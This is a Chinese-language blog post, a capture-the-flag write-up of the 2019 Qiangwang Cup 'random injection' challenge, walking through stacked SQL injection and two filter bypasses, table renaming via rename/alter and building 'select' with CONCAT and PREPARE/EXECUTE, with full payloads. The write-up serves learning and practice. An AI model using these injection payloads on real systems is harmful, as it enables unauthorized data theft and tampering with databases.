寒假刷题(2)

寒假刷题(2)强网杯 2019 随便注

堆叠注入

sql注入这块我还是个菜鸟,所以这道题很有必要仔细研究下

这道题有两种解法,但两种解法首先都需要利用到堆叠注入

 

 

通过尝试发现1‘报错,1‘#正常,应该是字符型注入,’闭合

然后尝试了下万能密码,发现可以爆出一些,但并不是我们想要的flag

构造payload:1' or 1=1#

 

 

 

尝试常规流程的order by,判断出回显点为2个字段

 

 

 

尝试union注入发现select被过滤了,但是尝试堆叠注入,可以爆出数据库名,说明此法可行

【sql注入语句中,(;)代表一句语句的结束,在分号(;)结束一个sql语句后继续构造下一条语句,两条语句可以一起执行,利用这种特性就产生了堆叠注入,当然堆叠注入并不适用于所有情况,因为API或数据库引擎的不支持,堆叠注入都无法实现。】

构造:1';show databases;(爆数据库)

 

 

 

构造:1';show tables;(爆表名)

 

 

 

结果已经很明显,flag就藏在flagg这个表下

构造:1’;desc flagg;(查询表结构)也可以构造1';show columns from flagg;

 

 

 

flag就在这张表里,但是因为用正则过滤了查询语句中的许多关键词汇,所以常规的查询语句是不可行的

构造:1';desc words;(查words这张表)

 

 

 

在这里就有了两种方法(太菜了,我还是得看别人的WP)

重命名

第一种是重命名,因为在之前的尝试中我们发现利用万能密码可以爆出words这张表里的内容,那么我们可以尝试将存放flag的表flagg重命名为words,words表更换其他名字,在新的words表中插入一列id,flag列更名为data,以此查询flag,因为像alert和rename这种关键字没有被过滤

构造payload:

0';rename table words to words1;rename table flagg to words;alter table words change flag id varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;desc  words;#

提交后再次利用万能密码爆表

 

 

 

拼接

这种方法是利用concat()拼接出select进行查询,以此绕过过滤。先设置待编译的语句,用concat把select拼接出来。然后进行预编译,然后执行。

1';SET @sql = CONCAT('sel','ect',' * from flagg;');PREPARE hack from @sql;EXECUTE hack;#
解释:
SET @ab = 'flagg'; //存储表名
SET @sql = concat('select * from ', @ab); //存储SQL语句
PREPARE name from @sql;   //预定义SQL语句,此处是PREPARE hack from @sql;
EXECUTE name; //执行预定义SQL语句,此处是EXECUTE hack;
(DEALLOCATE || DROP) PREPARE sqla; //删除预定义SQL语句

当然我还看到了利用ASCII码来拼接的,但是道理都一样(附上链接https://www.cnblogs.com/wjw-zm/p/12359735.html

 

 

 

一些总结

MySQL 的 show、rename 和 alter 命令

  1. show 可以用于查看当前数据库,当前表,以及表中的字段

  2. rename 用于修改 table 的名称

  3. alter 用于修改表中字段的属性

注意:在windows系统下,反单引号(`)是数据库、表、索引、列和别名用的引用符,linux下不区分,这里我做的时候没有出现这样的问题,题目的数据类型应该改简单了

上面那个重命名的payload对于我这种不熟悉数据库语法的人来说,要想构造出来还是挺难的,所以特地去查了查这句话

 

 sql注入预编译知识:https://www.jianshu.com/p/9972d7b33061

 

参考链接

https://www.cnblogs.com/wjw-zm/p/12359735.html

https://blog.csdn.net/he1234555/article/details/113916980

https://blog.csdn.net/vanessa_li/article/details/78095638

https://blog.csdn.net/qq_43622442/article/details/105450212

https://www.cnblogs.com/peri0d/p/12123814.html

https://blog.csdn.net/qq_26406447/article/details/90643951

https://www.cnblogs.com/wjw-zm/p/12359735.html

https://www.jianshu.com/p/9972d7b33061

posted @ 2022-01-18 13:44  willing-sir  阅读(44)  评论(0编辑  收藏  举报